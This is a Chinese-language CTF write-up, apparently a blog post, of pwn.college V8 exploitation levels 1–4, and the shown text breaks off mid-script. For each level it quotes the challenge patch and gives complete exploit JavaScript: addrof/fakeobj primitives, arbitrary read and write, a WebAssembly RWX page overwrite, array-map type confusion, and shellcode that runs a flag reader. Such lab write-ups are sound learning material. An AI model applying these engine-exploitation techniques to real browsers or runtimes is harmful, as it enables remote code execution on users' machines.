Before all 被 QnQSec 的夥伴吸引,第一次學 V8 的東西,一開始是看這篇!
https://www.madstacks.dev/posts/V8-Exploitation-Series-Part-1
未來會去打更多題目,不過應該會先做一系列整理,只能說真的很好玩 wweb 狗學 v8 pwn 不過分吧,我會想說這是 web雖然我可能又要拖延症了,像是我的 blockchain, zkp, xsleak, ECDSA, …… 現在筆記還亂亂的、、、之後會重新補一些東西(如果真的有人在看 :p)
題目們:https://pwn.college/quarterly-quiz/v8-exploitation/
Level 1 Js 型別轉換 Helpers: https://www.madstacks.dev/posts/V8-Exploitation-Series-Part-6/
diff patch: 主要就是新增了一個 ArrayRun 的函數,並且在 boostrap.cc 上新增了調用方法,是 prototype 的 .run
可呼叫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 diff --git a/src/builtins/builtins-array .cc b/src/builtins/builtins-array .cc index ea45a7ada6b..c840e568152 100644 --- a/src/builtins/builtins-array .cc +++ b/src/builtins/builtins-array .cc @@ -24 ,6 +24 ,8 @@ #include "src/objects/prototype.h" #include "src/objects/smi.h" +extern "C" void *mmap (void *, unsigned long , int , int , int , int ) ; + namespace v8 { namespace internal { @@ -407 ,6 +409 ,47 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayRun) { + HandleScope scope (isolate) ; + Factory *factory = isolate->factory(); + Handle<Object> receiver = args.receiver(); + + if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Nope" ))); + } + + Handle<JSArray> array = Cast<JSArray>(receiver); + ElementsKind kind = array ->GetElementsKind(); + + if (kind != PACKED_DOUBLE_ELEMENTS) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("Need array of double numbers" ))); + } + + uint32_t length = static_cast<uint32_t >(Object::NumberValue(array ->length())); + if (sizeof (double ) * (uint64_t )length > 4096 ) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("array too long" ))); + } + + + double *mem = (double *)mmap(NULL , 4096 , 7 , 0x22 , -1 , 0 ); + if (mem == (double *)-1 ) { + THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, + factory->NewStringFromAsciiChecked("mmap failed" ))); + } + + Handle<FixedDoubleArray> elements (Cast<FixedDoubleArray>(array ->elements()), isolate) ; + FOR_WITH_HANDLE_SCOPE(isolate, uint32_t , i = 0 , i, i < length, i++, { + double x = elements->get_scalar(i); + mem[i] = x; + }); + + ((void (*)())mem)(); + return 0 ; +} + namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop (Isolate* isolate, diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 78 cbf8874ed..4 f3d885cca7 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -421 ,6 +421 ,7 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \ \ CPP(ArrayPush) \ + CPP(ArrayRun) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ \ CPP(ArrayShift) \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index 9 a346d134b9..58 fd42e59a4 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1937 ,6 +1937 ,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtin::kArrayRun: + return Type::Receiver(); case Builtin::kArrayBufferIsView: diff --git a/src/d8/d8.cc b/src/d8/d8.cc index facf0d86d79..382 c015bc48 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -3364 ,7 +3364 ,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), + global_template->Set(isolate, "setTimeout" , FunctionTemplate::New(isolate, SetTimeout)); - if (!options.omit_quit) { + return global_template; } diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc index 48249695b 7b..40 a762c24c8 100644 --- a/src/init/bootstrapper.cc +++ b/src/init/bootstrapper.cc @@ -2533 ,6 +2533 ,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at" , Builtin::kArrayPrototypeAt, 1 , true ); + SimpleInstallFunction(isolate_, proto, "run" , + Builtin::kArrayRun, 0 , false ); SimpleInstallFunction(isolate_, proto, "concat" , Builtin::kArrayPrototypeConcat, 1 , false ); SimpleInstallFunction(isolate_, proto, "copyWithin" ,
注意到 ArrayRun 函數的邏輯就是: 傳入 receiver => 確認 array 型別是 double => 大小確認小於 4096B (盲猜 heap 翻頁問題) => 聲請一塊 rwx 去把剛剛的 array 複製上去當 shellcode 跑
其實很簡單,塞 shellcode 就好,但是他只接受 DoubleArray,我是先寫 Python 腳本把讀 flag 的 shellcode 變成 long long,再到 js 轉成 Float64Array w
gen.py
1 2 3 4 5 6 7 8 9 from pwn import *context.arch='amd64' payload = asm(shellcraft.execve("/challenge/catflag" , 0 , 0 )) int_arr = [] for i in range (0 , len (payload), 8 ): int_arr.append(f"i2f(0x{payload[i:i+8 ].ljust(8 , b'\x00' )[::-1 ].hex ()} n)" ) print (',' .join(int_arr))
再把讀到的變成 js exploit
sol.js
1 2 3 4 5 6 7 8 9 10 11 12 let ab = new ArrayBuffer (8 );let fv = new Float64Array (ab);let dv = new BigUint64Array (ab);function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } exploit =[i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )] exploit.run ()
Level 2 透過三個函數,分別給了物件地址的任意讀取,任意讀寫 32 bits 短地址 V8 在 2020 年後,就開始了地址壓縮的設計: 參考:https://www.madstacks.dev/posts/V8-Exploitation-Series-Part-5/
1 2 3 |----- 32 bits -----| Pointer: |_____address_____w1| Smi: |___int31_value____0|
具體算法就是每個物件組都有個 offset,再去加上他紀錄的地址(w1如果是1代表是地址, 0 是 in31_value,用以區隔兩種變數) 利用流程可以參考:https://www.madstacks.dev/posts/V8-Exploitation-Series-Part-6/ diff patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 hacker@v8-exploitation~level2:/challenge$ cat patch diff --git a/src/d8/d8.cc b/src/d8/d8.cc index facf0d86d79..6 b31fe2c371 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1283 ,6 +1283 ,64 @@ struct ModuleResolutionData { } +void Shell::GetAddressOf (const v8::FunctionCallbackInfo<v8::Value>& info) { + v8::Isolate* isolate = info.GetIsolate(); + + if (info.Length() == 0 ) { + isolate->ThrowError("First argument must be provided" ); + return ; + } + + internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0 ]); + if (!IsHeapObject(*arg)) { + isolate->ThrowError("First argument must be a HeapObject" ); + return ; + } + internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg); + + uint32_t address = static_cast<uint32_t >(obj->address()); + info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address)); +} + +void Shell::ArbRead32 (const v8::FunctionCallbackInfo<v8::Value>& info) { + Isolate *isolate = info.GetIsolate(); + if (info.Length() != 1 ) { + isolate->ThrowError("Need exactly one argument" ); + return ; + } + internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0 ]); + if (!IsNumber(*arg)) { + isolate->ThrowError("Argument should be a number" ); + return ; + } + internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase(); + internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base); + uint32_t addr = static_cast<uint32_t >(internal::Object::NumberValue(*arg)); + uint64_t full_addr = base_addr + (uint64_t )addr; + uint32_t result = *(uint32_t *)full_addr; + info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result)); +} + +void Shell::ArbWrite32 (const v8::FunctionCallbackInfo<v8::Value>& info) { + Isolate *isolate = info.GetIsolate(); + if (info.Length() != 2 ) { + isolate->ThrowError("Need exactly 2 arguments" ); + return ; + } + internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0 ]); + internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1 ]); + if (!IsNumber(*arg1) || !IsNumber(*arg2)) { + isolate->ThrowError("Arguments should be numbers" ); + return ; + } + internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase(); + internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base); + uint32_t addr = static_cast<uint32_t >(internal::Object::NumberValue(*arg1)); + uint32_t value = static_cast<uint32_t >(internal::Object::NumberValue(*arg2)); + uint64_t full_addr = base_addr + (uint64_t )addr; + *(uint32_t *)full_addr = value; +} + ... 其他定義面的東西
其中,在 V8 裡能穩定產生一塊 rwx 頁的方法就是製作一個 WebAssembly 物件,而他與該 rwx 塊會有個固定 offset,如果可以任意讀取物件記憶體就能算出 rwx 塊的地址。 但今天的問題有兩個,首先,我們只能寫入短地址,而該頁的 base 和 wasm 物件的 base 會不一樣,這時候就要用別的方法寫入。 Array Buffer 的結構:https://v8docs.nodesource.com/node-13.2/d5/d6e/classv8_1_1_array_buffer.html 當中的 BackingStore 是最重要的部分之一,指向 Array Buffer 實際儲存的資料地址
可以用 d8 配合 --allow-natives-syntax
參數,並在原始 js 裡面加上 %DebugPrint(buf)
讀取該 buf 的資料,並且在 gdb 中用 find
指令抓出 Array Buffer 地址會寫在哪個指標上:(P.S., 加上 while loop 可以卡住程式做 debugger 切進去)test.js
1 2 3 let buf = new ArrayBuffer (16 );%DebugPrint (buf); while (1 ){};
開始 debug d8 獲取 buf 地址(記得 -1)還有 backing_store 的
find 指令尋找 指標並算出 offset
獲得單純的 ArrayBuffer 地址任意寫 => 記憶體任意寫後,因為當前是 32 bits 所以要拆兩次寫入 rwx 頁地址
第二點,也是最麻煩的,每變動一次程式碼, RWX 頁的 Offset 就會變動,所以每次都要重新要 gdb 追進去,最後一個小技巧就是不要用 DebugPrint,因為 debug 版也會讓他 offset 變化,直接輸出他的壓縮地址再加回去他本來應該在地記憶體塊就行,邊寫邊 debug。
最後 wasm 塊之所以會有 rwx 就是要把記憶體仔入並執行,所以透過前面製造的 f 函數去呼叫 wasm 塊中的 main 就能自然執行剛剛寫入 rwx 的 shellcode 了!(對,要記得寫 shellcode 進去)
Debug 技巧 : 最後到這段寫入的時候:
1 2 3 4 ArbWrite32 (backing_store_addr, rwx_page_addrl);ArbWrite32 (backing_store_addr+4 , rwx_page_addrh);
在拿到地址其實是錯的時候會直接吃 sig fault,我的解決方法是改成寫回去原本的地址,因為都是執行兩次寫入,基於一些神奇的理由執行上兩行跟下兩行對記憶體 layout 不會改動? 最後要記得保留剛剛讀那些變數出來的程式,不然 offset 又双要重算 是說這邊因為 offset 都在某個範圍內好像可以直接寫個記憶體掃描啥的,但好麻煩 qq,先給自己挖個坑
生成 int32 shellcodes:
1 2 3 4 5 6 7 8 9 from pwn import *context.arch='amd64' payload = asm('nop\nnop\nnop\nnop\n' *3 +shellcraft.execve("/challenge/catflag" , 0 , 0 )) int_arr = [] for i in range (0 , len (payload), 4 ): int_arr.append(f"0x{payload[i:i+4 ].ljust(4 , b'\x00' )[::-1 ].hex ()} " ) print (',' .join(int_arr))
Exploit.js (前面加上 NOP \x90 是以防中間執行會汙染到 RWX 最前面的塊)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;console .log ("\nvmmap to get the RWX page address" );console .log ("search -x [little_endian_address]" );console .log ("Subtract the address of wasm_instance from the address of our pointer" );var shellcode = [0x90909090 ,0x90909090 ,0x90909090 ,0x01666068 ,0x24348101 ,0x01010101 ,0x6567b848 ,0x7461632f ,0x48506c66 ,0x68632fb8 ,0x656c6c61 ,0x8948506e ,0x31d231e7 ,0x583b6af6 ,0x0000050f ];WASM_PAGE_OFFSET = 0x2c3d8 ;console .log (GetAddressOf (wasm_instance).toString (16 ))rwx_page_addrl = ArbRead32 (GetAddressOf (wasm_instance) + WASM_PAGE_OFFSET ); console .log (rwx_page_addrl.toString (16 ))rwx_page_addrh = ArbRead32 (GetAddressOf (wasm_instance) + WASM_PAGE_OFFSET +4 ); console .log (rwx_page_addrh.toString (16 ))let buf = new ArrayBuffer (shellcode.length * 4 );let dataview = new DataView (buf);let buf_addr = GetAddressOf (buf);let backing_store_addr = buf_addr + 0x24 ;console .log (ArbRead32 (backing_store_addr).toString (16 ));buf_data_addrl = ArbRead32 (backing_store_addr); buf_data_addrh = ArbRead32 (backing_store_addr+4 ); ArbWrite32 (backing_store_addr, rwx_page_addrl);ArbWrite32 (backing_store_addr+4 , rwx_page_addrh);for (let i = 0 ; i < shellcode.length ; i++) { dataview.setUint32 (4 * i, shellcode[i], true ); } f ();while (1 ){};
…打 v8 好折磨(
Level 3 任意取得地址和任意獲得某地址開始的 FakeObjectpatch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 diff --git a/src/d8/d8.cc b/src/d8/d8.cc index facf0d86d79..0299 ed26802 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1283 ,6 +1283 ,52 @@ struct ModuleResolutionData { } +void Shell::GetAddressOf (const v8::FunctionCallbackInfo<v8::Value>& info) { + v8::Isolate* isolate = info.GetIsolate(); + + if (info.Length() == 0 ) { + isolate->ThrowError("First argument must be provided" ); + return ; + } + + internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0 ]); + if (!IsHeapObject(*arg)) { + isolate->ThrowError("First argument must be a HeapObject" ); + return ; + } + internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg); + + uint32_t address = static_cast<uint32_t >(obj->address()); + info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address)); +} + +void Shell::GetFakeObject (const v8::FunctionCallbackInfo<v8::Value>& info) { + v8::Isolate *isolate = info.GetIsolate(); + Local<v8::Context> context = isolate->GetCurrentContext(); + + if (info.Length() != 1 ) { + isolate->ThrowError("Need exactly one argument" ); + return ; + } + + Local<v8::Uint32> arg; + if (!info[0 ]->ToUint32(context).ToLocal(&arg)) { + isolate->ThrowError("Argument must be a number" ); + return ; + } + + uint32_t addr = arg->Value(); + + internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase(); + internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base); + uint64_t full_addr = base_addr + (uint64_t )addr; + + internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr); + internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate); + internal::Handle<internal::Object> obj_handle (obj, i_isolate) ; + info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle)); +}
這題與上一題基本一樣,唯一的點是要去偽造一個 Object 來完成 OOB 的兩個功能。
一個 Array 的結構基本要有 map, properties, elements, len 四個值
其中 map 就是指向前面貼過的文章說的 Map 結構,properties 就是他的代表信標,elements 則是最重要的,指向當下的資料地址,最後 len 就是長度
而前面 Patch 中的 GetFakeObject 既然從任意記憶體直接取值,又不保障結構安全與正確,等於我們能任意控制前面說的 Array 結構。 這邊採用的方法是 Fake 一個讓 v8 以為是 Array 的結構,但是達成 elements 地址任意寫 => 任意操作(r/w)
構造方法:Array([map addr + properties(725), elements addr + len])
其中 len 我亂寫 100, properties 從 動態 gdb 下去的時候抓得但疑似沒差?反正多 Fake 一點東西總不會錯(
map addr 和 fake 的 elements addr 要從別的物件下抓
先測一下,算一下要偽造一個 Object 需要的 element offset 和 map offset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function shift32 (i ){ return i<<32n ; } var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c0261n ), i2f (0x0a0007ff11000844n )]; %DebugPrint (arr); %DebugPrint (fake); while (1 ){};
element 的部分: Offset -0x20
Map 的部分,剛剛的 fake 就是透過 floats 偽造了一個 Map 的資料格式進去 +24 的地方就有我們要的東西!
1 2 3 4 5 6 7 8 9 10 11 12 13 fake_obj = GetFakeObject (GetAddressOf (fake_array)+MAP_OFFSET ); function ArbRead64 (addr ){ fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); }
最後 DebugPrint 看看 fake, arr 的地址和 fake_obj 就有ㄌ,+24 就是為了把剛剛寫進 fake_arr 的兩個變數重新當新的 map 和 elements 那些 metadata
後面就跟前面一樣,永無止盡的算 offset,不過小技巧一樣是先寫個無害的東西方便 debug 後再算 offset,會簡單許多w P.S. 我不確定為什麼 OOB 的時候地址都會多 8,反正扣回去就行了 :Psol.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function shift32 (i ){ return i<<32n ; } var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c0261n ), i2f (0x0a0007ff11000844n )]; var ELEMENT_OFFSET = 0x20 ;var MAP_OFFSET = 0x24 ;var WASM_PAGE_SIZE = 0x2c100 ;arr_element_addr = GetAddressOf (arr)-ELEMENT_OFFSET ; fake_map_addr = GetAddressOf (fake)+MAP_OFFSET ; fake_array = [u2f (fake_map_addr+1 , 0 ), u2f (arr_element_addr+1 , 100 )]; fake_obj = GetFakeObject (GetAddressOf (fake_array)+MAP_OFFSET ); function ArbRead64 (addr ){ fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); } var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];var rwx_page_addr = ArbRead64 (GetAddressOf (wasm_instance)+WASM_PAGE_SIZE );console .log (GetAddressOf (wasm_instance).toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);let buf_addr = GetAddressOf (buf);console .log (buf_addr);let backing_store_pointer = buf_addr + 0x1c ;backing_store_addr = ArbRead64 (backing_store_pointer); console .log (rwx_page_addr.toString (16 ));console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);console .log (ArbRead64 (backing_store_pointer).toString (16 ));for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } f ();while (1 ){};
Level 4 只給了一個 array 任意設置 length prototype 跟這題有 87% 相似(https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 --- /dev/null +++ b/src/builtins/array -setlength.tq @@ -0 ,0 +1 ,14 @@ +namespace array { +transitioning javascript builtin +ArrayPrototypeSetLength( + js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny { + try { + const len: Smi = Cast<Smi>(length) otherwise ErrorLabel; + const array : JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel; + array .length = len; + } label ErrorLabel { + Print("Nope" ); + } + return receiver; +} +}
調用方法是 a.setLength
這樣的 prototype function
利用想法就是先從這個 setLength 拿到有限制的 oob 透過更改 map 達成 type confusion,完成 read_addr 和 fakeobject 兩個功能,後面就跟 level3 一樣了 首先來觀察兩種物件的 element 結構: 觀察:Array(float)
float array 的結構中,element addr + 8 就直接儲存了 index 0 的資料
觀察:Array(Object)
Object array 裡面,element + 8 的地方會先去存取壓縮後的 Object 地址
另外可以注意到 MapAddress 都在 elements 最後一項之後,那為什麼 Map 那麼重要呢,回顧一下會知道 Map 對於 V8 而言相當於告訴它這是哪種變數,所以如果能透過 oob 控制 Map 就相當於可以打出 Type Confusion!
然後,直接去讀 [{"meow":1234}]
的 oob 會發現噴錯,因為技術上它依然是個 Object Array,但資料格式明顯不對,所以我改成用 [{trojan_arr:[1.1, 1.1 ....]}]
的方法,再透過內部的 trojan_arr 往外戳找 offset 讀取包含 Object Array 的 Map 地址
要利用 float array 去 oob,就把 pwndbg 追進去算 offset,在我的 case 中 0x17 可以看到 Object 的 Map Address (壓縮過的)
接下來就是利用的重點,取得地址的方法是上面提到的,Float Elements 內部 +8 的位置就是第一個元素了,而對於儲存 Object 的 Array 則會是 Object 地址,那就進行一次 Type Confusion,把 Object Array 變成 Float Array 再去讀取 index=0 (element+8) 的內容就有 Address 了,Fake Object 則是反過來操作!
最後既然有了地址洩漏/FakeObject,就可以跟 Level 3 的流程做一樣的攻擊了。
sol.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } let trojan_arr = new Array (0x10 ).fill (1.1 );let sample_obj = {trojan_arr};let obj_arr = [sample_obj];let float_arr = [1.1 , 2.2 , 3.3 ];trojan_arr.setLength (0x20 ); float_arr.setLength (4 ); obj_arr_map_addr = f2ul (trojan_arr[0x17 ])-1 ; obj_arr_prototype = f2uh (trojan_arr[0x17 ]); float_arr_map_addr = f2ul (float_arr[0x3 ])-1 ; float_arr_prototype = f2uh (float_arr[0x3 ]); console .log ('[*] Map addr for obj_arr:' );console .log (obj_arr_map_addr.toString (16 ));console .log ('[*] Prototype for obj_arr:' );console .log (obj_arr_prototype.toString (16 ));console .log ('[*] Map addr for float_arr:' );console .log (float_arr_map_addr.toString (16 ));console .log ('[*] Prototype for float_arr:' );console .log (float_arr_prototype.toString (16 ));function get32addr (object ){ obj_arr[0 ] = object; trojan_arr[0x17 ] = u2f (float_arr_map_addr+1 , float_arr_prototype); addr = obj_arr[0 ]; obj_arr[0 ] = sample_obj; trojan_arr[0x17 ] = u2f (obj_arr_map_addr+1 , obj_arr_prototype); return f2ul (addr)-1 ; } function getfakeobject (addr ){ float_arr[0 ] = u2f (addr+1 , obj_arr_map_addr+1 ); float_arr[0x3 ] = u2f (obj_arr_map_addr+1 , obj_arr_prototype); cur_fake_obj = float_arr[0 ]; float_arr[0 ] = 1.1 ; float_arr[0x3 ] = u2f (float_arr_map_addr+1 , float_arr_prototype); return cur_fake_obj; } let a = [1.1 , 2.2 , 3.3 ];console .log (get32addr (a).toString (16 ));new_a = getfakeobject (get32addr (a)); console .log (new_a);new_a[2 ]=13.37 ; console .log (a);var arr = [1.1 , 2.2 , 3.3 ];var fake = [i2f (0x31040404001c01b5n ), i2f (0x0a0007ff11000844n )]; var ELEMENT_OFFSET = 0x20 ;var MAP_OFFSET = 0x24 ;var WASM_PAGE_SIZE = 0x2c0a0 ;arr_element_addr = get32addr (arr)-ELEMENT_OFFSET ; fake_map_addr = get32addr (fake)+MAP_OFFSET ; fake_array = [u2f (fake_map_addr+1 , 750 ), u2f (arr_element_addr+1 , 100 )]; fake_obj = getfakeobject (get32addr (fake_array)+MAP_OFFSET ); function ArbRead64 (addr ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); return f2i (fake_obj[0 ]); } function ArbWrite64 (addr, value ){ addr -= 8 ; fake_array[1 ] = u2f (addr+1 , 100 ); fake_obj[0 ] = i2f (value); } console .log (ArbRead64 (arr_element_addr).toString (16 ));ArbWrite64 (arr_element_addr, 1 );console .log (ArbRead64 (arr_element_addr).toString (16 ));var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f 